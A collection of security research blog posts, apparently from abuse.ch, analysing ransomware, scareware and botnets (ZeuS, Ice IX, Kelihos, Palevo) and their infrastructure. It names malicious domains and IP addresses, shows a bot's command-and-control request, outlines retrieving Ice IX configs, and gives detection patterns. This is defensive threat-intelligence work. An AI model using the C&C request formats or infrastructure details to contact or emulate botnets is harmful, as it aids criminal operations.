This week I spotted another ransomware campaign that is targeting Swiss, German, and Austrian internet users. This time the criminals seems to use a different schema to lock down the victims computer: violation of local copyright law.

*** Infection vector ****
The infection vector is a well known drive-by exploit kit called “Blackhole”. It is sold in underground forum and used by various criminal groups to infected computers “on the fly” by (ab)using one or more security vulnerabilities in the victims web browser (or a third party plug-in like Adobe Flash Player, Adobe Reader or Java). In this case a Blackhole exploit kit located at pampa04.com was involved to spread the ransomware:

If the installed Java version on the victims computer is not up to date (unpatched), the downloaded jar file (Edu.jar) will exploit a well known vulnerability in Java which will trigger the download of the payload (Trojan) and finally execute it to infect the computer. The payload had a detection rate of 4/42 on Virustotal:

*** Analysis of the payload (Ransomware) ***
If the exploitation of the victims computer is successful, the Ransomware will install itself into the Application Data directory of the current user:

Once the computer has been infected, the Ransomware will try to contact its Command&Control server (C&C) located at joonwalker.com using HTTP GET:

The landing URL redirector.php will determine the location of the infected computer by using GeoIP and will redirect the request to the matching site by using HTTP 302 Found, for example:

While investigating this C&C I’ve found several other URLs which shows that this Ransomware is targeting not only Switzerland but also several other countries:

Country: Swiztzerland (SUISA)	Country: Germany (GVU)
Country: Austria (AKM)	Country: United Kingdom (PRS)
Country: France (SACEM)	Country: Netherlands (BUMA-STEMRA)

What lights up quickly when taking a look at these URLs is the fact that they are all written in German. So it looks like the cybercriminal behind this ransomware campaign is a German speaking person. While analysing all these different URLs I noticed that the cybercriminal has spent quite some time to prepare them. The language seems to be well written (I couldn’t find as many write errors as I would have expected). In addition it appears that the cybercriminal tried to get intel about where the victim can buy paysafecard (for the record: the victim has to pay a country specific amount of money to the cybercriminal using paysafecard to get his computer unlocked) and which association is tracking copyright infringement in the specific country. For example, he tells Swiss victims that they can obtain paysafecard on the federal railway station (SBB) and the MediaMark (a German based electronic discounter).

Another interesting finding is the fact that the Ransomware comes with an additional Trojan called Aldi Bot. Aldi Bot steals banking information (similar to ZeuS and SpyEye) and has some additional DDoS functionality.

Fortunately, Aldi Bot C&C traffic is very easy to identify due to the fact that this Trojan uses a specific User-Agent called “Aldi Bot FTW! ”. In this case the Aldi Bot C&C is located at the same server/domain as the Ransomware itself but on a different URI:

GET /unser1/universalpanel/gate.php?hwid=XXX&pc=XXX&localip=XXX&winver=XXX HTTP/1.1
User-Agent: Aldi Bot FTW!
Host: joonwalker.com

*** Command&Control Infrastructure ***

The domain name used by this Ransomware and Aldi Bot is pointing to a Russian web hosting provider called “Amtel Svyaz”:

The domain name joonwalker.com is registered through a Russian based domain registrar called Regtime Ltd (also known as webnames.ru):

According to whois the holder of this domain is “Huth Matthias” which has registered various other domain names this year:

All these domain names can be considered as malicious and should be blocked on your network edge.
To prevent this kind of infections you should ensure that your operating system as well as all installed applications (especially browser plug-ins) are up to date.

*** Further reading ***

• abuse.ch: Scareware Locks Down Computer Due To Child Porn and Terrorism
• GData SecurityBlog – Botnets on discount!
• Arbor Security Blog – DDoS Watch: Keeping an Eye on Aldi Bot

Since my announcement on Twitter to discontinue AMaDa, I received several dozen emails from IT security representatives of ISPs, national CERTs as well as governmental and non-governmental organisations that were using AMaDa’s blocklist to identify compromised computers within their networks. I have to say that I was quite amazed how many people used AMaDa’s blocklist. However I’m unable to answer all these emails due to lack of time, hence I decided to publish a short statement on my blog.

AMaDa was launched in 2010, since then it has analysed 169’545 URLs serving malware, 160’183 malicious binaries and identified 1’685 malware botnet controllers associated with all kinds of Trojans (like Mebroot, TLD/TDSS, Carberp, BlackEnergy, Ramnit and many more).

In February 2011, I started Palevo Tracker as sub-project of AMaDa. Palevo Tracker’s blocklist was served together with the AMaDa IP and Domain blocklist.

Running and maintaining the tracking infrastructure (ZeuS-, SpyEye- and Palevo Tracker) is very time intensive, also since it created much “background noise” (sometimes I think I need a secretary to handle all emails and requests). Hence I was prevented from blogging as much as I would have liked to last year. Unfortunately, every day only has 24 hours, and due to personal circumstances as well as my focus on other (non-public) projects I’m no longer able to provide AMaDa’s data / information with a good enough quality. I always serve data and information on “best effort” basis, and as I’m no longer able commit to that for AMaDa I’ve decided to discontinue the project (please keep in mind that all these projects are done in my spare time).

I’m aware that this is bad news for many of you, but fortunately I also have some good news. This weekend I moved Palevo Tracker onto a new infrastructure. I decided to keep Palevo Tracker running as a “new” project. Since AMaDa is gone, Palevo Tracker has found a new home on it’s own sub domain:

Palevo Tracker (including it’s blocklists) can be found at https://palevotracker.abuse.ch

If you are using one of AMaDa’s blocklists, please ensure that you stop query them as they are no longer available. If you want to keep up identifying Palevo botnet C&Cs please switch to one of the blocklists available on Palevo Tracker’s Blocklist page.

*** Links ***

• Palevo Tracker’s new home
• ZeuS Tracker
• SpyEye Tracker

Kelihos (also know as Hlux) is a Spambot with the capability to steal credentials from the victims computer and drop additional malware. While the old version used the second level domain cz.cc for it’s distribution and to control the botnet, the new version takes advantage of TLD .eu in combination with Fast Flux techniques.

*** The Kelihos Spambot ***

Recently, I spotted a sample of Kelihos in my sandnet, so I decided to have a short look at it:

As soon the victims computer has been infected successfully, the malware will try to drop an additional file by calling a .eu domain which seem to be hard coded in the infection binary:

The first URL will return a binary:

The mentioned file will install the WinPcap library, which is being used by the malware to sniff the network traffic on the victims computer:

By sniffing the network traffic, the malware is able to steal sensitive data like credentials.
The second URL (jucheck.exe) will just return a HTTP 200 OK. As soon as the WinPcap library has been installed, the malware will start to communicate with other drones on port 80 (using it’s own protocol). It’s some kind of P2P protocol used by the malware to get a list of other drones participating in the Kelihos botnet.

To begin it’s spam operations, Kelihos will connect to another drone using HTTP and a random URL string:

This communication is being used to get the spam templates as well as the email address list. Afterwards the spambot will start to send out spam mails (click to enlarge):

Currently the Kelihos botnet seems to send out German stock spam.

*** Kelihos FastFlux botnet ***

Let’s take a closer look at the .eu domains used by Kelihos. What pops up quickly is the fact that the domain names used by Kelihos are hosted on a FastFlux botnet, as all the records has a TTL of 0:

The delegated nameservers for the mentioned domain name are hosted on a FastFlux botnet as well. This is what we call Double-Flux:

When taking a look at the geo location of this Fast Flux botnet, it seems that the botnet is mainly located in eastern Europe:

Due to the fact that these domain names are using double-flux, it is extremely hard to shut them down (there is no webserver or DNS server to take down). Currently, there are several domain names hosted on this Fast Flux botnet:

All mentioned domain names are registered through OnlineNIC (a domain name registrar located in the US):

The domain name used to resolve these malicious domains is registered through internet.bs (a domain name registrar located in the Bahamas):

This Fast Flux botnet reminds me of the Fast Flux botnet used by Waledac which was also using a TTL of 0 for their DNS records.

*** Detection ***

As hard as it is to take down this botnet, as easy it should be to detect computers infected with Kelihos. The malware itself seems to ignore several RFCs which makes it very easy to detect infected computers in corporate and governmental networks.

In the first stage, the malware hits “jucheck.exe” with an incomplete HTTP request:

This particular HTTP request is missing several HTTP fields which a normal web browser would use:

• Several HTTP fields like User-Agent, Accept-Language, Accept-Encoding are missing
• The URL jucheck.exe seems to be quite static, so you just have to watch out for .eu domains in combination of jucheck.exe in your gateway logs

In the second stage (where the malware tries to connect to other drones using HTTP), the malware sends 1-2KB of encrypted data to the foreign peer:

I’m not a RFC specialist, but I’ve never seen a HTTP GET request in combination with the Content-Length header. I would only expect the HTTP Content-Length header from the server (response) or when sending a HTTP POST request to the server. Therefore it should be very easy to detect Kelihos in your network, just watch out for HTTP GET request containing the header field “Content-Length”.

Happy Kelihos hunting!

*** Further reading ***

• Microsoft blog: Microsoft Neutralizes Kelihos Botnet, Names Defendant in Case
• Kaspersky: Kelihos/Hlux botnet returns with new techniques
• Microsoft Threat Encyclopedia: W32/Kelihos

*** Further reading (for the Kelihos botnet masters) ***

• RFC2616 Hypertext Transfer Protocol
• RFC2821 Simple Mail Transfer Protocol

Follow me on Twitter:
https://twitter.com/abuse_ch

The schema is pretty simple: The criminals try to infect computers with scareware (eg. through Drive-By exploits). As soon as the computer is infected, the malware locks down the machine so that the user won’t be able to log in any more. The malware then displays a message to the user that the law enforcement agency XY found child pornography on the victims computer and that the his computer was used to send out “spam mails with terrorist motives”:

The message which is being displayed to the victim looks like this (click to enlarge):

What is interesting with this scareware is the dependency of the geo location of the victim’s computer. Before the scareware displays the message shown above, it contacts a central botnet command and control server (C&C) located in Ukraine (188.190.99.174 – AS197145 Infium LTD) using HTTP:

In the first request the malware contacts the C&C using a parameter called “getpic”. The C&C will response with an URL containing the location of the image the malware should display to on the victim. The malware will follow the URL and download the BMP-file:

Then the malware will determine the IP address of the victim’s computer by using the parameter “getip”:

Afterwards the malware displays a “lock screen” to the user using the response (=ip address) from the C&C and the image file downloaded before.

The interesting part is that you can identify the countries which are being hit by this attack by guessing the files on the botnet controller (country codes). So far, I’ve identified the following countries/URLs:

Location: http://188.190.99.174/pic/AT.bmp Country: Austria (AT) Agency: BUNDESPOLIZEI Domain name: landes-kriminalt.net	Location: http://188.190.99.174/pic/DE.bmp Country: Germany (DE) Agency: BUNDESPOLIZEI Domain name: landes-kriminalt.net
Location: http://188.190.99.174/pic/GB.bmp Country: United Kingdom (GB) Agency: METRPOPOLITIAN POLICE Domain name: policemetropolitan.org	Location: http://188.190.99.174/pic/FR.bmp Country: France (FR) Agency: Gendarmerie nationale Domain name: n-p-f.org
Location: http://188.190.99.174/pic/IT.bmp Country: Itanly (IT) Agency: Guardia di Finanza Domain name: it-polizia.org	Location: http://188.190.99.174/pic/ES.bmp Country: Spain (ES) Agency: La policia ESPANOLA Domain name: lapoliciaespanola.org

Most domain names mentioned above are misspelled, for example, the domain name landes-kriminalt.net is a misspelling of “Kriminalamt” which is equivalent to the Federal Police. All mentioned domain names are registered through registrar BIZCN (a registrar located in China):

What nearly all domain names have in common is the fact that they have already been up since more than 8 months (Created: 2011-05-02). The same registrant has also registered other domain names:

I’m asking myself how the criminals have managed not to get their domain names suspended for such a long time period. Please note that these domain names can be considered as malicious and should therefore be blocked at your network’s edge (web gateway / proxy / DNS) along with the botnet controller (188.190.99.174).

The described Scareware schema isn’t really new, Switzerland along with several other European countries were hit by a similar attack back in 2011:

• Press release from MELANI (German)
• botfrei.de initiative (German)

The Top Level Domain .ru is managed by the Coordination Center for TLD RU (cctld.ru). CCTLD.ru finally did their job well and addressed the reputation problem TLD.ru had by setting up new terms and conditions for domain name registration of .ru domains which came into force on November 11 2011.

One of the most interesting parts of the new terms and conditions is the following passage:

In fact this means that a registrar can terminate a domain name when it is being used for phising attacks or when it is being used to control a botnet. However, there is one part which seems to be not well defined:

I’m asking myself what the definition of “organization indicated by the Coordinator as a competent one to determine violations in the Internet” might be. As we all know there are many security vendors and non-profit organisations out there which do a great job in tracking down malicious and fraudulent content. Will registrars accept takedown requests received from such parties? I don’t know…

However, what I can say so far is that the number of fraudulent .ru domains used by ZeuS botnet herders decreased in the beginning of 2012. I can also see that malicious .ru domains which are being added to ZeuS Tracker have a much shorter life span. While malicious .ru domains used to stay active for several weeks or months in the past, they are now getting nuked much faster (mostly within 4-24hrs). That’s great news for the internet community!

Unfortunately we all know that there is a never ending cat and mouse game between the security industry / infosec community and cybercriminals. Criminals have already noticed that their domains are getting shut down much faster. So they started to look for another TLD to use for their dirty business and found a TLD that nearly has been forgotten: the TLD .su.

For those of you who don’t know: .su is (or should I say was) the Top Level Domain for the Soviet Union, which we all know doesn’t exist any more. Nevertheless, TLD .su (which is operated by RIPN) is still active today which means that people can still register domain names with that TLD. As of today I’m seeing an increasing number of malicious .su domains being used by botnet herders. In fact this means that the criminals seem to be switching from .ru to .su.

Since the Soviet Union isn’t any more and I see legit .su domains pretty rarely, I think it’s a good idea to block .su on the network edge (web proxies / content filtering systems). If you are operating a gateway in your company / network you should take the time and have a look at your logs. If you don’t see any legit .su domains being hit/used in your company just simply block it.

Follow me on Twitter:
https://twitter.com/abuse_ch

However, a few weeks ago I’ve noticed that no new murofet/LICAT C&C domain names have been registered by the criminals. I was a little bit confused and decided to analysed a recent ZeuS sample (spread through a Spam campaign targeting US citizens). When I ran the binary in my sandbox, I’ve seen some weird UDP traffic. My first guess was: This is not ZeuS. But after I’ve analysing the infection I came to the conclusion that it is actually ZeuS.

*** A new (custom) version of ZeuS ***

The new version of ZeuS is no longer using a DGA to determine the current C&C domain, therefore it’s also not possible to pre-calculate the C&C domains that will be used in the near future. Obviously, the criminals switched back to a hardcoded C&C domain which is stored in the ZeuS config file.

The *new* version of ZeuS (v3?) implements a Kademlia-like P2P botnet. Similar to the Miner botnet, ZeuS is now using a “IP list” which contains IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded in the ZeuS binary. As soon as a computer gets infected, ZeuS will try to find a active node by sending UDP packets on high ports. If the bot hits an active node, the remote node will response with a list of current IP addresses that are participating in the P2P network. Additionally, the remote node will tell the requesting node which binary- and config version he is running. If the remote node is running a more recent version, the bot will connect to it on a TCP high port to download a binary update and/or the current config file. Afterwards the bot will connect to the C&C domain listed in the config file using HTTP POST.

The HTTP protocol is only being used to drop the stolen data to the Dropzone and/or to receive commands from the botnet master. In fact this means there is no longer a BinaryURL or a ConfigURL that ZeuS Tracker can track. It also makes it quite difficult for security researchers to keep track of the targets. What is interesting is the fact that if everything fails (=no working/active P2P drone can be found and the main C&C is dead) the bot will use the DGA as fallback mechanism.

At first glance these are bad news. But fortunately the new mechanism also has benefits: There is just one ZeuS C&C active at the same time, so every time the domain name gets suspended/terminated, the criminals have to push out a new config file.

*** ZeuS sinkhole data ***

During the past few weeks I was able to sinkhole several ZeuS botnet C&Cs that were associated with this new ZeuS version. The chart below shows up the number of unique IP addresses that are associated with this ZeuS version and hitting my sinkhole. The highest IP count was about 100k unique IPs in 24hrs.

The Geo location of this ZeuS botnet looks like this:

As we can see on the chart above, India seems to have the most infected systems, followed by Italy, the United Staates and Greece. Please consider that this chart just shows the unique IPs for each country. It does not count the unique bot IDs.

As usual, the sinkhole data is being sent to Shadowserver. If you are a network provider / ISP please make sure that you subscribe Shadowservers drone feed to receive reports regarding infected drones in your network/AS (the service is free of charge).

*** Conclusion ***
What I can say so far is that the encryption of this new (custom) version of ZeuS haven’t changed. You should watch out for the following strings in your web proxy logs, which are being used as dropzone for this ZeuS version (using HTTP POST):

• /gameover.php
• /gameover2.php
• /gameover3.php

Since I’ve started to track this ZeuS campaign, I’ve collected more than 270 unique config files.

Since the source code of ZeuS got leaked back in the beginning of 2011, several so called custom builds popped up in the underground which are based on the leaked source code. A good example is a recently on opensc.ws introduced bot kit called Ice IX.

So are we talking about a *new* ZeuS version which we will see being sold in the underground soon? I don’t think so. This seems to be just another custom build. But there is one thing that makes this custom build unique: This build (and the previous murofet/LICAT version) is much more sophisticated than all other ZeuS builds I’ve seen before. Also, when I take a look at the way they operate it looks like this botnet has several customers using the same botnet infrastructure.

Since the guy who wrote this version of ZeuS seems to have a lot of knowledge, it could be that Slavik (the author of the original ZeuS version) has his hands on this ZeuS build. We all know how successful ZeuS was (and still is). So why should Slavik leave this business? I believe that Slavik was unwell with the fact that his trojan was in the spotlight of security researchers, security industry and LEA. Also, ZeuS has attracted a lot of script kiddies and smaller criminal groups which weren’t able to pay that much of money for a product. Slavik probably dropped this business and released the source code for public to get out of this situation. But I believe that he is still developing on ZeuS, but only custom build(s) for a small circle of customers who are able to pay a lot more money that small fishes. This wouldn’t attract that much attention from LEA an security folks, but will bring in a lot more money than dealing with standard customers.

We all know that the fight between criminals and security researchers is a cat and mouse game. I’m sure this wasn’t the last change made to ZeuS and we will continue to see efforts from criminals to make their malware stay more under the radar.

Follow me on Twitter:
twitter.com/abuse_ch

I’ve googled a little bit and found a post on a well known underground forum where a user with the nickname nvidiag is selling Ice IX (UPDATE Aug 27, 2011: After my blog post the topic on opensc.ws has obviously been deleted):

The features advertised by nvidiag seems to be the same as in ZeuS. But there seems to be one new feature:

So, according to this forum post Ice IX has a function to protect ZeuS Tracker & Co from being able to download the config file. For example, instead of HTTP GET Ice IX will only serve a config file when the clients sends a HTTP POST request

Does this new anti ZeuS Tracker feature makes it impossible to track Ice IX? Well, let’s try this:

Uh?

Looks good…

Let’s try to decrypt it…

é voilà – Ice IX config file successfully downloaded and decrypted. You just need to do some wget Kung Fu and you need to have the binary to extract the RC4 key in order to decrypt the Ice IX config file and to construct the correct hash value in the URL used to query the configuration file.

Below is a list of Ice IX botnet controllers I’ve seen so far:

Is Ice IX a new threat? Not really. It has the same functionality as ZeuS, but it tries to evade ZeuS Tracker & Co (but royally fails). I will continue to monitor the situation.

*** Further reading ***

• Securelist: Ice IX, the first crimeware based on the leaked ZeuS sources
• PCWorld: Researchers See Improvements in Breakaway Zeus Malware

The series of takedowns continued in the beginning of 2011, when in January 14 rogue ISPs were disconnected from the Internet. Since then we didn’t see any new Bulletproof hosters popping up… or did we? Where did all the Cybercriminals move to? If we take a look at the ZeuS Tracker statistic (Top ten ZeuS hosting ISPs) we don’t see any network that would look too much like a Bulletproof hoster.

So the Internet appears to be free from cybercrime… *cough* – unfortunately I have to disappoint everyone who thought that the Internet is getting rid of Cybercrime: The Bulletproof hosters are still here. I still see a lot of fraud, malware, phishing etc popping up on a daily basis. But where is it hosted? As you probably know, Cybercriminals can be very creative. They found several ways to hide themselves from the radar of the security industry and from the eyes of security researchers. Some of there tactics are very old, while some of them are pretty new.

FastFlux hosting
FastFlux hosting is a pretty old technique and still an issue (but not that big any more): Cybercriminals are hosting their infrastructure on FastFlux botnets to hide the real botnet controllers (mothership) and to make their infrastructure more hardened against takedowns. During the past few months the situation haven’t really changed. The number of FastFlux hosted ZeuS botnet controllers is more or less constantly 19. What is new is the fact that the Cybercriminals have also started to host SpyEye botnet controllers on FastFlux botnets. Currently SpyEye Tracker tracks 8 SpyEye C&Cs controllers that are hosted on FastFlux botnets.

Domain Generation Algorithms (DGA)
A much more sophisticated way to serve/host botnet control infrastructure are so called Domain Generation Algorithms (DGA). The criminals are using an algorithm that is using date and some salt as parameter to generate the domains the infected computers (bots) should contact. In this way the domains are being ‘fluxed’ on a daily basis – meaning the CnC domains that are used by the bots are changing every day, or in some cases several times a day –  which makes it hard to take down the botnet control infrastructure. Last year, a special version of ZeuS (murofet/LICAT) that used the DGA technique covered some media attention. But in fact the technique isn’t new: Torpig, a sophisticated banking Trojan, has been using a DGA since 2008. Torpig even utilized the Twitter trend API, as mentioned in this old post by unmaskparasites.

How ever sophisticated this technique sounds, DGA can have a benefit for security researchers: If you are able to reverse engineer the code, you are able to identify the algorithm used by the Trojan. In this way it is possible to generate the domain names that the Trojan will use in the future and register them to sinkhole the botnet. However, there are some Trojans that are generating more than 50’000 domains per day. This would mean that you have to register 50’000 domains every day to sinkhole the botnet effectively.

Using custom DNS servers
Another interesting tactic that I’ve seen recently is the use of custom DNS servers. Some Trojans are using custom DNS servers that are under control of the criminals themselves. The Trojan resolves the domain name used as botnet controller using a custom DNS server. The benefit for the criminal is, that only the DNS server that is under control of himself is resolving the domain name correctly. In fact this means when a security researcher tries to access the domain it appears that it does not exist.

Also, the criminal can use well known domain names like google.com or facebook.com as botnet controllers. Due to the fact that the Trojan resolves the domains using the custom DNS servers the criminal can point the domain name to his botnet controller. In this case the benefit for the criminal is that e.g. google.com appears in the sandbox reports of the Security Industry and may lead to false positives in security products. So the criminals can catch two birds with one stone: Hiding their botnet infrastructure behind a well known domain name and making Security Products imprecise.

Since version 10338 (1.3.38, first seen around April 4 2011), certain SpyEye versions has been seen utilizing such a feature. The botnet master can define custom DNS servers that are being stored in a file called “dns.txt” that is served to the bots within the SpyEye configuration file. However, usually public DNS servers are listed in this dns.txt file, like the ones offered by Google. This is a trick to avoid local DNS blackholing and to avoid detection by looking at local DNS server logs.

Fluxing domain names
After the takedown of several rogue ISPs in January 2011, I’ve seen a big amount of botnet controllers popping up in some suspicious networks. What got my attention was the fact that as soon as I had added a botnet controller to the tracker the domain disappeared and became unreachable. A few hours later a backup domain pointing to the same or nearby IP address in the same subnet came active.

I’ve seen this behaviour on several ISPs that are all looking quite suspicious to me. A good example is AS56659 BALTI-AS (also known as PermInterSvyaz LTD and BESTISP), a Ukraine-based ISP that is being routed by Er-Telecom -> synterra.ru. Currently, there are 5 ZeuS botnet controllers tracker by ZeuS Tracker, none of them are currently active. SpyEye Tracker currently tracks 11 SpyEye botnet controllers in that subnet. Only one is currently active. At first glance this AS does not look that suspicious, but if we take a look at this history of the subnet we see that it hosted more than 60 SpyEye botnet controllers since March 2011:

I assume that the criminals are using some kind of script to check ZeuS- and SpyEye Tracker periodically for new botnet controllers in their subnet. As soon as a new domain pops up they seem to remove it and switch over to a backup URL (both ZeuS and SpyEye have a feature that allows the cybercriminals to define backup URLs that the bots should contact when the main C&C is not reachable).

But what’s the benefit of this tactic for the criminal? Well, Cybercriminals have seen in the past that they will get de-peered quite quickly when they attract to much attention from law enforcement and security researchers. By fluxing the domain name as soon as it appear on a tracker, they ensure that the number of active botnet controllers stay as low as possible. Therefore they will not appear on the radar of the Internet community that fast and of course they can claim that they take action against fraudulent customers quickly.

Conclusion
What we can say is that BALTI-AS is a rogue network for sure. I haven’t seen any legit domain names being hosted there.

Also, the criminals are quite creative and will always try to not appear on the radar of the Internet community. It’s always a cat and mouse game between the infosec community and the criminals who are operating the different botnet infrastructures.

As we all know, things can change quite fast in the Internet. This is a big issue for policy makers and law enforcement. They are not able to act as quick as the criminals do. The cybercriminals knows this too and are trying to make profit with the failing of the law enforcement.

The Internet has no borders so we need a global solution to defend ourselves from cybercrime. But we are still failing to find a global solution. Fortunately, there are dedicated people out there that are determined to fight cybercrime. When these people cooperate, they are able to move mountains.

Good deeds are being done by these folks every day. We just need more of them. And we need governments and organisations across the world to follow in their footsteps.

Some of you might already know that I am running a sinkhole. Therefore I thought it might be interesting to reveal some botnet Statistic based on the drone data I have collected on my sinkhole.

The following data has been collected over a period of 2 months. During this time I’ve sinkholed several botnets. To generate the statistics shown below I have picked out the highest peak of each malware family and printed it to the bar chart. In short this means that the chart shows the highest peak of each malware family during the past two months (within a 24 hour period).

First of all, let’s have a look at each malware family I’ve sinkholed during this time.

As shown in the table above we have some banking trojans (Carberp, Gozi, SpyEye and ZeuS), some trojan droppers (Gbot, Ponmocup), a worm (Ramnit) and some Click fraud trojans (Artro, TDSS).

Let’s take a look at the sinkhole statistics:

The chart above shows the total number of new and total IPs seen within 24hrs for each malware family. What really sticks out is the fact that the trojans that are being used to attack financial institutions (banking trojans) has a relatively small amount of infected computer (drones) compared to Gbot (that is used to drop/install additional malware on the victims computer) and the well-known click fraud rootkit called TDSS. The size of the TDSS botnet is 6 times the size of the Carberp botnet.

Why is this the case? It’s not very difficult to infect computers today. The trick is to find a good way to monetize the botnet. For banking trojans, the problem becomes getting money mules that the criminal can use for transferring/laundering the stolen money. A cybercriminal won’t benefit from a big botnet if he’s not able to cash out the money from the bank accounts of the victims. Also, banking trojans rather quickly gets attention from both Law Enforcement and individuals in the infosec community.

Doing click fraud is much easier: Who cares about click fraud? Nobody, except the companies that are actually offering/selling online advertisement. If you call someone and tell him “Hey, your computer is infected with a click fraud trojan” you will most probably get a answer like “WTF is click fraud?!?” and even if you explain the situation to him I’m pretty sure you will get an answer like “Well I don’t care, I hate online advertisements anyway. They only distract me when I’m surfing on porn sites… *erm* when I’m doing online shopping”.

Still, I’m not surprised that there are botnets out there that are even bigger than TDSS/TDL:

The chart above shows a botnet that is called Artro. It is also known as “The advertisement botnet” (Kaspersky) or Renos/CodecPack. It is 1,5 times bigger than TDSS. However, Artro is also doing some click fraud stuff. I sinkholed the Artro botnet a year ago. Back then, the botnet had a size of 330’000 infected computers (of course within 24hrs)!

So I’m asking myself: Does this answer our question “How Big is Big”? If we are serious we can say that 330’000 infected computers is quite enough and really big. That’s nearly the same amount of computers as there are inhabitants in the largest Swiss city (Zurich).

What would you say if I told you that there is a botnet out there that is much bigger than the Artro botnet?

Some weeks ago I came across a huge botnet that was pretty unknown to me and that I never had heard of before. Doing some research I came to the conclusion that this trojan was known as Ponmocup. When I’ve started to sinkhole this botnet I was shocked as I saw that more than 1,2 million (yes, 1’200’000) unique IPs connected to my sinkhole just within 24 hours..

Probably most of you don’t even know Ponmocup, so you may ask yourself how this botnet became that big. Well you already answered this question: The criminal obviously managed to stay under the radar for months (maybe even years). I’m sure there are even more botnets out there (like Artro and Ponmocup) that are quite big and still under the radar of the AV-industry / infosec community.

*** Conclusion ***
We have learned that the botnet sizes doesn’t really matter. The criminals don’t need to have a big botnet to make a lot of money: It always depends on the business model the criminals wants to adopt (doing ebanking fraud, clickfraud or whatever).

But what do we have to do to mitigate these threats? My approach is to try to identify such botnets and sinkhole them. Doing so I’m able to collecting data from the connecting bots, which are being fed into the Shadowserver Drone database. If you are an ISP, a company or running your own network/AS you can obtain free-of-charge Drone feed from Shadowserver for your AS. This allows you to get informed about infected computers within your network on a daily basis.

If you are an ISP/network owner I highly recommend you to subscribe to Shadowservers Drone feed (if you are not already subscribed).

You can subscribe and/or obtain more information about Shadowserver’s Reporting Service here:
http://www.shadowserver.org/wiki/pmwiki.php/Involve/GetReportsOnYourNetwork

Follow me on Twitter:
twitter.com/abuse_ch

*** Further links ***

• Lies, Damn Lies, and Botnet Size (Shadowserver)
• How To Steal A Botnet (Video presentation of the Paper in the link below)
• Your Botnet is My Botnet: Analysis of a Botnet Takeover (Torpig)
• Some botnet statistics (Wikipedia)

Palevo (also known as Rimecud, Butterfly bot or Pilleuz) made some big press in 2009 when Panda Security announced the coordinated takedown of a huge botnet that they called Mariposa.

Since then the threat lost its media attention, but what most people don’t known is: Palevo is still a big player in the global threat landscape. According to FireEye, in 2010 Palevo was the top malware (# of infections) in the world:

Palevo is a so called bot kit that is being sold in underground forums (like ZeuS) using the name BUtterFly BOT. Therefore there are dozens of different botnets out there run by different criminal groups.

So what is the key to the success of Palevo? The worm is using different techniques to spread itself. The most common builtin techniques include:

• P2P filesharing programs (bearshare, imesh, emule, limewire etc.)
• Instant messaging (MSN- / Windows Live Messenger)
• Removable drives (like USB-Sticks)

In addition, criminals have been observed linking other spreading mechanisms such as windows filesharing spread with palevo to achieve maximum impact.

During the past few months I have come across dozens of USB sticks infected with a variant of Palevo. Unfortunately, most (new) Palevo samples have a very bad detection rate. This makes it pretty easy to get infected. Just imagine you are attending a meeting or event, and you ask your colleague or the presenter to get a copy of the presentation he just held a few minutes before. What will he do? Well, most probably he will provide you with his USB stick with a copy of the presentation and BOOM – you are infected.

Another aspect of the problem is the fact that most employees are using the same USB stick at home and at work. If they plug-in the USB stick (which were previously infected by Palevo on the home computer) into the office computer, Palevo will infected it immediately. In this case it doesn’t matter what corporate Firewall or what Spam-Filter you are using in your network – you will get infected before most of the corporate security devices have had a chance to kick in.

In spite of Microsofts decision to disable autoplay in Windows 7, and the highly needed disabling of autorun (except for CDs) in XP/Vista/2003/2008, Palevo still seems to spread widely.

A further problem is the way Palevo communicates with its Command&Control server (C&C): The worm uses UDP and encrypts the data sent to the C&C server on (in most cases) a high port (e.g. 7700 UDP). The reason why Palevo uses UDP is simple: There is a bunch of Firewalls/Appliances out there which are poorly configured and therefore:

• aren’t logging UDP packets in the Firewall log
• allow UDP traffic by default

That makes it pretty easy to keep the Palevo C&C traffic hidden even in corporate networks.

*** Palevo Tracker ***
As outlined above, Palevo is a huge threat for corporate- and home networks. Due to the fact that it is spread widely and most people are not aware of the problem I have decided to create Palevo Tracker. My goals are:

• Get some attention on the Palevo threat
• Provide a blocklist for well known Palevo C&Cs to the internet community
• Provide details regarding Palevo C&Cs to ISPs, CERTs and Law Enforcement
• Keep the project smart and simple as possible

To keep it simple I’ve created Palevo Tracker as sub-project on AMaDa. This means that the Palevo Tracker blocklist is included in the AMaDa C&C Blocklist.

• Palevo Tracker Monitoring Page
• Palevo Tracker Statistics Page
• AMaDa C&C Blocklist (includes Palevo C&Cs)

You can use the blocklist to block Palevo C&C traffic proactively and/or to identify infected clients (e.g. by matching the blocklist against your Firewall logs).

*** Further Links ***
Below are some links to different AV-vendors currently detecting Palevo:

Symantec: W32.Pilleuz
McAfee: W32/Palevo
Microsoft: Win32/Rimecud
Symantec Connect: The Mariposa Butterfly

Follow me on Twitter: twitter.com/abuse_ch

On the evening of the 11th of January, a Russian based ISP called Vline Telecom (AS39150) was de-peered from its upstream provider RUNNet.ru. As a result of the disconnect, 9 of the world wide worst Bulletproof Hosters got offline and the number of active Zeus Botnet Command&Control servers dropped from 61 to 41 on 12th of January.

Additionally, in January 2011 I was informed about another takedown of a Ukrainian based ISP called ONLINENET SPD Andreychuk Andrey Alekseevich (AS50722) which resulted in another 5 bulletproof hosters disappearing from the global routing table.

We can say that January 2011 was a very bad start for cybercriminals, as a total of 14 bulletproof hosters have been disconnected from the internet this month.

*** What happened? ***
It all started in March 2010 when I came across the first few ZeuS C&Cs in the network of VLine Telecom:

In 2010, VLine Telecom hosted more than 140 ZeuS Botnet Command&Control Servers. Therefore they managed to get a position in the Worlds Top 10 Bad Hosts:

However, this was just the tip of the iceberg: In June 2010 Vline Telecom started to route a few networks we later came to consider as the worst criminal networks in the world. At the end of 2010 ZeuS Tracker saw a lot of new Command&Control Servers (C&C) popping up in the networks that VLine Telecom provides IP transit for:

As you can see in the list above, VLine Telecom not only hosted a lot of ZeuS C&C servers, they also provided internet access (IP transit) to a lot of different networks which are obviously controlled by cybercriminals.

However, at this time it was also clear that some movement in the situation was needed so Spamhaus issued two SBLs on VLine Telecom’s Upstream provider called GlobalNet Russia (see SBL98570 / SBL96680). As it turned out, this listing was one of the best things Spamhaus did in the last couple of weeks because GlobalNet Russia started to face the problem when nearly every mailserver in the world stopped accepting emails from GlobalNet and their customers.

Additionally, I reached out to GlobalNet on the 15th of December with a immediate de-peering request for VLine Telecom. GlobalNet denied to disconnect VLine Telecom by referring to the Russian Law and the contract that GlobalNet had with VLine Telecom. Fortunately, GlobalNet was very cooperative and my contact there agreed to null route the IP addresses where I had evidence that they actually were bad.

